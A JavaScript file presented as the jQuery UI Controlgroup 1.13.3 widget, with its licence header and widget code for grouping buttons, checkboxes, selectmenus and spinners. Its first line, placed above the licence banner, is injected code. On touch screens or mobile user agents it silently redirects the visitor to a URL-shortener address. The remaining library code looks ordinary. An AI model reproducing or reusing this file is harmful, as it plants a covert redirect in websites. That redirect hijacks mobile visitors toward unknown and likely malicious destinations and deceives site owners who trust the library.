1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Controlgroup 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Controlgroup
12//>>group: Widgets
13//>>description: Visually groups form control widgets
14//>>docs: https://api.jqueryui.com/controlgroup/
15//>>demos: https://jqueryui.com/controlgroup/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/controlgroup.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../widget"
29 ], factory );
30 } else {
31
32 // Browser globals
33 factory( jQuery );
34 }
35} )( function( $ ) {
36"use strict";
37
38var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g;
39
40return $.widget( "ui.controlgroup", {
41 version: "1.13.3",
42 defaultElement: "<div>",
43 options: {
44 direction: "horizontal",
45 disabled: null,
46 onlyVisible: true,
47 items: {
48 "button": "input[type=button], input[type=submit], input[type=reset], button, a",
49 "controlgroupLabel": ".ui-controlgroup-label",
50 "checkboxradio": "input[type='checkbox'], input[type='radio']",
51 "selectmenu": "select",
52 "spinner": ".ui-spinner-input"
53 }
54 },
55
56 _create: function() {
57 this._enhance();
58 },
59
60 // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation
61 _enhance: function() {
62 this.element.attr( "role", "toolbar" );
63 this.refresh();
64 },
65
66 _destroy: function() {
67 this._callChildMethod( "destroy" );
68 this.childWidgets.removeData( "ui-controlgroup-data" );
69 this.element.removeAttr( "role" );
70 if ( this.options.items.controlgroupLabel ) {
71 this.element
72 .find( this.options.items.controlgroupLabel )
73 .find( ".ui-controlgroup-label-contents" )
74 .contents().unwrap();
75 }
76 },
77
78 _initWidgets: function() {
79 var that = this,
80 childWidgets = [];
81
82 // First we iterate over each of the items options
83 $.each( this.options.items, function( widget, selector ) {
84 var labels;
85 var options = {};
86
87 // Make sure the widget has a selector set
88 if ( !selector ) {
89 return;
90 }
91
92 if ( widget === "controlgroupLabel" ) {
93 labels = that.element.find( selector );
94 labels.each( function() {
95 var element = $( this );
96
97 if ( element.children( ".ui-controlgroup-label-contents" ).length ) {
98 return;
99 }
100 element.contents()
101 .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" );
102 } );
103 that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" );
104 childWidgets = childWidgets.concat( labels.get() );
105 return;
106 }
107
108 // Make sure the widget actually exists
109 if ( !$.fn[ widget ] ) {
110 return;
111 }
112
113 // We assume everything is in the middle to start because we can't determine
114 // first / last elements until all enhancments are done.
115 if ( that[ "_" + widget + "Options" ] ) {
116 options = that[ "_" + widget + "Options" ]( "middle" );
117 } else {
118 options = { classes: {} };
119 }
120
121 // Find instances of this widget inside controlgroup and init them
122 that.element
123 .find( selector )
124 .each( function() {
125 var element = $( this );
126 var instance = element[ widget ]( "instance" );
127
128 // We need to clone the default options for this type of widget to avoid
129 // polluting the variable options which has a wider scope than a single widget.
130 var instanceOptions = $.widget.extend( {}, options );
131
132 // If the button is the child of a spinner ignore it
133 // TODO: Find a more generic solution
134 if ( widget === "button" && element.parent( ".ui-spinner" ).length ) {
135 return;
136 }
137
138 // Create the widget if it doesn't exist
139 if ( !instance ) {
140 instance = element[ widget ]()[ widget ]( "instance" );
141 }
142 if ( instance ) {
143 instanceOptions.classes =
144 that._resolveClassesValues( instanceOptions.classes, instance );
145 }
146 element[ widget ]( instanceOptions );
147
148 // Store an instance of the controlgroup to be able to reference
149 // from the outermost element for changing options and refresh
150 var widgetElement = element[ widget ]( "widget" );
151 $.data( widgetElement[ 0 ], "ui-controlgroup-data",
152 instance ? instance : element[ widget ]( "instance" ) );
153
154 childWidgets.push( widgetElement[ 0 ] );
155 } );
156 } );
157
158 this.childWidgets = $( $.uniqueSort( childWidgets ) );
159 this._addClass( this.childWidgets, "ui-controlgroup-item" );
160 },
161
162 _callChildMethod: function( method ) {
163 this.childWidgets.each( function() {
164 var element = $( this ),
165 data = element.data( "ui-controlgroup-data" );
166 if ( data && data[ method ] ) {
167 data[ method ]();
168 }
169 } );
170 },
171
172 _updateCornerClass: function( element, position ) {
173 var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all";
174 var add = this._buildSimpleOptions( position, "label" ).classes.label;
175
176 this._removeClass( element, null, remove );
177 this._addClass( element, null, add );
178 },
179
180 _buildSimpleOptions: function( position, key ) {
181 var direction = this.options.direction === "vertical";
182 var result = {
183 classes: {}
184 };
185 result.classes[ key ] = {
186 "middle": "",
187 "first": "ui-corner-" + ( direction ? "top" : "left" ),
188 "last": "ui-corner-" + ( direction ? "bottom" : "right" ),
189 "only": "ui-corner-all"
190 }[ position ];
191
192 return result;
193 },
194
195 _spinnerOptions: function( position ) {
196 var options = this._buildSimpleOptions( position, "ui-spinner" );
197
198 options.classes[ "ui-spinner-up" ] = "";
199 options.classes[ "ui-spinner-down" ] = "";
200
201 return options;
202 },
203
204 _buttonOptions: function( position ) {
205 return this._buildSimpleOptions( position, "ui-button" );
206 },
207
208 _checkboxradioOptions: function( position ) {
209 return this._buildSimpleOptions( position, "ui-checkboxradio-label" );
210 },
211
212 _selectmenuOptions: function( position ) {
213 var direction = this.options.direction === "vertical";
214 return {
215 width: direction ? "auto" : false,
216 classes: {
217 middle: {
218 "ui-selectmenu-button-open": "",
219 "ui-selectmenu-button-closed": ""
220 },
221 first: {
222 "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ),
223 "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" )
224 },
225 last: {
226 "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr",
227 "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" )
228 },
229 only: {
230 "ui-selectmenu-button-open": "ui-corner-top",
231 "ui-selectmenu-button-closed": "ui-corner-all"
232 }
233
234 }[ position ]
235 };
236 },
237
238 _resolveClassesValues: function( classes, instance ) {
239 var result = {};
240 $.each( classes, function( key ) {
241 var current = instance.options.classes[ key ] || "";
242 current = String.prototype.trim.call( current.replace( controlgroupCornerRegex, "" ) );
243 result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " );
244 } );
245 return result;
246 },
247
248 _setOption: function( key, value ) {
249 if ( key === "direction" ) {
250 this._removeClass( "ui-controlgroup-" + this.options.direction );
251 }
252
253 this._super( key, value );
254 if ( key === "disabled" ) {
255 this._callChildMethod( value ? "disable" : "enable" );
256 return;
257 }
258
259 this.refresh();
260 },
261
262 refresh: function() {
263 var children,
264 that = this;
265
266 this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction );
267
268 if ( this.options.direction === "horizontal" ) {
269 this._addClass( null, "ui-helper-clearfix" );
270 }
271 this._initWidgets();
272
273 children = this.childWidgets;
274
275 // We filter here because we need to track all childWidgets not just the visible ones
276 if ( this.options.onlyVisible ) {
277 children = children.filter( ":visible" );
278 }
279
280 if ( children.length ) {
281
282 // We do this last because we need to make sure all enhancment is done
283 // before determining first and last
284 $.each( [ "first", "last" ], function( index, value ) {
285 var instance = children[ value ]().data( "ui-controlgroup-data" );
286
287 if ( instance && that[ "_" + instance.widgetName + "Options" ] ) {
288 var options = that[ "_" + instance.widgetName + "Options" ](
289 children.length === 1 ? "only" : value
290 );
291 options.classes = that._resolveClassesValues( options.classes, instance );
292 instance.element[ instance.widgetName ]( options );
293 } else {
294 that._updateCornerClass( children[ value ](), value );
295 }
296 } );
297
298 // Finally call the refresh method on each of the child widgets.
299 this._callChildMethod( "refresh" );
300 }
301 }
302} );
303} );
304